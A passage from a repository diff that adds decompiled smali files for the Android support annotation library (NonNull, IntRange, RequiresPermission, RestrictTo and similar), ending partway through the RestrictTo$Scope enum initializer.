.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->LOCAL_VARIABLE:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,23 @@
.class public interface abstract annotation Landroid/support/annotation/BinderThread;
.super Ljava/lang/Object;
.source "BinderThread.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->CONSTRUCTOR:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->TYPE:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,24 @@
.class public interface abstract annotation Landroid/support/annotation/BoolRes;
.super Ljava/lang/Object;
.source "BoolRes.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->LOCAL_VARIABLE:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,21 @@
.class public interface abstract annotation Landroid/support/annotation/CallSuper;
.super Ljava/lang/Object;
.source "CallSuper.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,32 @@
.class public interface abstract annotation Landroid/support/annotation/CheckResult;
.super Ljava/lang/Object;
.source "CheckResult.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation system Ldalvik/annotation/AnnotationDefault;
value = .subannotation Landroid/support/annotation/CheckResult;
suggest = ""
.end subannotation
.end annotation
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;
}
.end annotation
# virtual methods
.method public abstract suggest()Ljava/lang/String;
.end method

Wyświetl plik

@ -0,0 +1,21 @@
.class public interface abstract annotation Landroid/support/annotation/ColorInt;
.super Ljava/lang/Object;
.source "ColorInt.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->LOCAL_VARIABLE:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,24 @@
.class public interface abstract annotation Landroid/support/annotation/ColorRes;
.super Ljava/lang/Object;
.source "ColorRes.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->LOCAL_VARIABLE:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,24 @@
.class public interface abstract annotation Landroid/support/annotation/DimenRes;
.super Ljava/lang/Object;
.source "DimenRes.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->LOCAL_VARIABLE:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,44 @@
.class public interface abstract annotation Landroid/support/annotation/Dimension;
.super Ljava/lang/Object;
.source "Dimension.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation system Ldalvik/annotation/AnnotationDefault;
value = .subannotation Landroid/support/annotation/Dimension;
unit = 0x1
.end subannotation
.end annotation
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->LOCAL_VARIABLE:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->ANNOTATION_TYPE:Ljava/lang/annotation/ElementType;
}
.end annotation
# static fields
.field public static final DP:I = 0x0
.field public static final PX:I = 0x1
.field public static final SP:I = 0x2
# virtual methods
.method public abstract unit()I
.end method

Wyświetl plik

@ -0,0 +1,24 @@
.class public interface abstract annotation Landroid/support/annotation/DrawableRes;
.super Ljava/lang/Object;
.source "DrawableRes.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->LOCAL_VARIABLE:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,45 @@
.class public interface abstract annotation Landroid/support/annotation/FloatRange;
.super Ljava/lang/Object;
.source "FloatRange.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation system Ldalvik/annotation/AnnotationDefault;
value = .subannotation Landroid/support/annotation/FloatRange;
from = -Infinity
fromInclusive = true
to = Infinity
toInclusive = true
.end subannotation
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->LOCAL_VARIABLE:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->ANNOTATION_TYPE:Ljava/lang/annotation/ElementType;
}
.end annotation
# virtual methods
.method public abstract from()D
.end method
.method public abstract fromInclusive()Z
.end method
.method public abstract to()D
.end method
.method public abstract toInclusive()Z
.end method

Wyświetl plik

@ -0,0 +1,24 @@
.class public interface abstract annotation Landroid/support/annotation/FractionRes;
.super Ljava/lang/Object;
.source "FractionRes.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->LOCAL_VARIABLE:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,24 @@
.class public interface abstract annotation Landroid/support/annotation/IdRes;
.super Ljava/lang/Object;
.source "IdRes.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->LOCAL_VARIABLE:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,33 @@
.class public interface abstract annotation Landroid/support/annotation/IntDef;
.super Ljava/lang/Object;
.source "IntDef.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation system Ldalvik/annotation/AnnotationDefault;
value = .subannotation Landroid/support/annotation/IntDef;
flag = false
value = {}
.end subannotation
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->SOURCE:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->ANNOTATION_TYPE:Ljava/lang/annotation/ElementType;
}
.end annotation
# virtual methods
.method public abstract flag()Z
.end method
.method public abstract value()[J
.end method

Wyświetl plik

@ -0,0 +1,37 @@
.class public interface abstract annotation Landroid/support/annotation/IntRange;
.super Ljava/lang/Object;
.source "IntRange.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation system Ldalvik/annotation/AnnotationDefault;
value = .subannotation Landroid/support/annotation/IntRange;
from = -0x8000000000000000L
to = 0x7fffffffffffffffL
.end subannotation
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->LOCAL_VARIABLE:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->ANNOTATION_TYPE:Ljava/lang/annotation/ElementType;
}
.end annotation
# virtual methods
.method public abstract from()J
.end method
.method public abstract to()J
.end method

Wyświetl plik

@ -0,0 +1,24 @@
.class public interface abstract annotation Landroid/support/annotation/IntegerRes;
.super Ljava/lang/Object;
.source "IntegerRes.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->LOCAL_VARIABLE:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,24 @@
.class public interface abstract annotation Landroid/support/annotation/InterpolatorRes;
.super Ljava/lang/Object;
.source "InterpolatorRes.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->LOCAL_VARIABLE:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,23 @@
.class public interface abstract annotation Landroid/support/annotation/Keep;
.super Ljava/lang/Object;
.source "Keep.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->PACKAGE:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->TYPE:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->ANNOTATION_TYPE:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->CONSTRUCTOR:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,24 @@
.class public interface abstract annotation Landroid/support/annotation/LayoutRes;
.super Ljava/lang/Object;
.source "LayoutRes.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->LOCAL_VARIABLE:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,23 @@
.class public interface abstract annotation Landroid/support/annotation/MainThread;
.super Ljava/lang/Object;
.source "MainThread.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->CONSTRUCTOR:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->TYPE:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,24 @@
.class public interface abstract annotation Landroid/support/annotation/MenuRes;
.super Ljava/lang/Object;
.source "MenuRes.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->LOCAL_VARIABLE:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,23 @@
.class public interface abstract annotation Landroid/support/annotation/NonNull;
.super Ljava/lang/Object;
.source "NonNull.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,23 @@
.class public interface abstract annotation Landroid/support/annotation/Nullable;
.super Ljava/lang/Object;
.source "Nullable.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,24 @@
.class public interface abstract annotation Landroid/support/annotation/PluralsRes;
.super Ljava/lang/Object;
.source "PluralsRes.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->LOCAL_VARIABLE:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,28 @@
.class public interface abstract annotation Landroid/support/annotation/Px;
.super Ljava/lang/Object;
.source "Px.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation build Landroid/support/annotation/Dimension;
unit = 0x1
.end annotation
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->LOCAL_VARIABLE:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,24 @@
.class public interface abstract annotation Landroid/support/annotation/RawRes;
.super Ljava/lang/Object;
.source "RawRes.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->LOCAL_VARIABLE:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,42 @@
.class public interface abstract annotation Landroid/support/annotation/RequiresApi;
.super Ljava/lang/Object;
.source "RequiresApi.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation system Ldalvik/annotation/AnnotationDefault;
value = .subannotation Landroid/support/annotation/RequiresApi;
api = 0x1
value = 0x1
.end subannotation
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->TYPE:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->CONSTRUCTOR:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;
}
.end annotation
# virtual methods
.method public abstract api()I
.annotation build Landroid/support/annotation/IntRange;
from = 0x1L
.end annotation
.end method
.method public abstract value()I
.annotation build Landroid/support/annotation/IntRange;
from = 0x1L
.end annotation
.end method

Wyświetl plik

@ -0,0 +1,37 @@
.class public interface abstract annotation Landroid/support/annotation/RequiresPermission$Read;
.super Ljava/lang/Object;
.source "RequiresPermission.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation system Ldalvik/annotation/AnnotationDefault;
value = .subannotation Landroid/support/annotation/RequiresPermission$Read;
value = .subannotation Landroid/support/annotation/RequiresPermission;
.end subannotation
.end subannotation
.end annotation
.annotation system Ldalvik/annotation/EnclosingClass;
value = Landroid/support/annotation/RequiresPermission;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x2609
name = "Read"
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;
}
.end annotation
# virtual methods
.method public abstract value()Landroid/support/annotation/RequiresPermission;
.end method

Wyświetl plik

@ -0,0 +1,37 @@
.class public interface abstract annotation Landroid/support/annotation/RequiresPermission$Write;
.super Ljava/lang/Object;
.source "RequiresPermission.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation system Ldalvik/annotation/AnnotationDefault;
value = .subannotation Landroid/support/annotation/RequiresPermission$Write;
value = .subannotation Landroid/support/annotation/RequiresPermission;
.end subannotation
.end subannotation
.end annotation
.annotation system Ldalvik/annotation/EnclosingClass;
value = Landroid/support/annotation/RequiresPermission;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x2609
name = "Write"
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;
}
.end annotation
# virtual methods
.method public abstract value()Landroid/support/annotation/RequiresPermission;
.end method

Wyświetl plik

@ -0,0 +1,52 @@
.class public interface abstract annotation Landroid/support/annotation/RequiresPermission;
.super Ljava/lang/Object;
.source "RequiresPermission.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation system Ldalvik/annotation/AnnotationDefault;
value = .subannotation Landroid/support/annotation/RequiresPermission;
allOf = {}
anyOf = {}
conditional = false
value = ""
.end subannotation
.end annotation
.annotation system Ldalvik/annotation/MemberClasses;
value = {
Landroid/support/annotation/RequiresPermission$Write;,
Landroid/support/annotation/RequiresPermission$Read;
}
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->ANNOTATION_TYPE:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->CONSTRUCTOR:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;
}
.end annotation
# virtual methods
.method public abstract allOf()[Ljava/lang/String;
.end method
.method public abstract anyOf()[Ljava/lang/String;
.end method
.method public abstract conditional()Z
.end method
.method public abstract value()Ljava/lang/String;
.end method

Wyświetl plik

@ -0,0 +1,142 @@
.class public final enum Landroid/support/annotation/RestrictTo$Scope;
.super Ljava/lang/Enum;
.source "RestrictTo.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Landroid/support/annotation/RestrictTo;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x4019
name = "Scope"
.end annotation
.annotation system Ldalvik/annotation/Signature;
value = {
"Ljava/lang/Enum",
"<",
"Landroid/support/annotation/RestrictTo$Scope;",
">;"
}
.end annotation
# static fields
.field private static final synthetic $VALUES:[Landroid/support/annotation/RestrictTo$Scope;
.field public static final enum GROUP_ID:Landroid/support/annotation/RestrictTo$Scope;
.field public static final enum SUBCLASSES:Landroid/support/annotation/RestrictTo$Scope;
.field public static final enum TESTS:Landroid/support/annotation/RestrictTo$Scope;
# direct methods
.method static constructor <clinit>()V
.locals 5
.prologue
const/4 v4, 0x2
const/4 v3, 0x1
const/4 v2, 0x0
.line 63
new-instance v0, Landroid/support/annotation/RestrictTo$Scope;
const-string v1, "GROUP_ID"
invoke-direct {v0, v1, v2}, Landroid/support/annotation/RestrictTo$Scope;-><init>(Ljava/lang/String;I)V
sput-object v0, Landroid/support/annotation/RestrictTo$Scope;->GROUP_ID:Landroid/support/annotation/RestrictTo$Scope;
.line 68
new-instance v0, Landroid/support/annotation/RestrictTo$Scope;
const-string v1, "TESTS"
invoke-direct {v0, v1, v3}, Landroid/support/annotation/RestrictTo$Scope;-><init>(Ljava/lang/String;I)V
sput-object v0, Landroid/support/annotation/RestrictTo$Scope;->TESTS:Landroid/support/annotation/RestrictTo$Scope;
.line 76
new-instance v0, Landroid/support/annotation/RestrictTo$Scope;
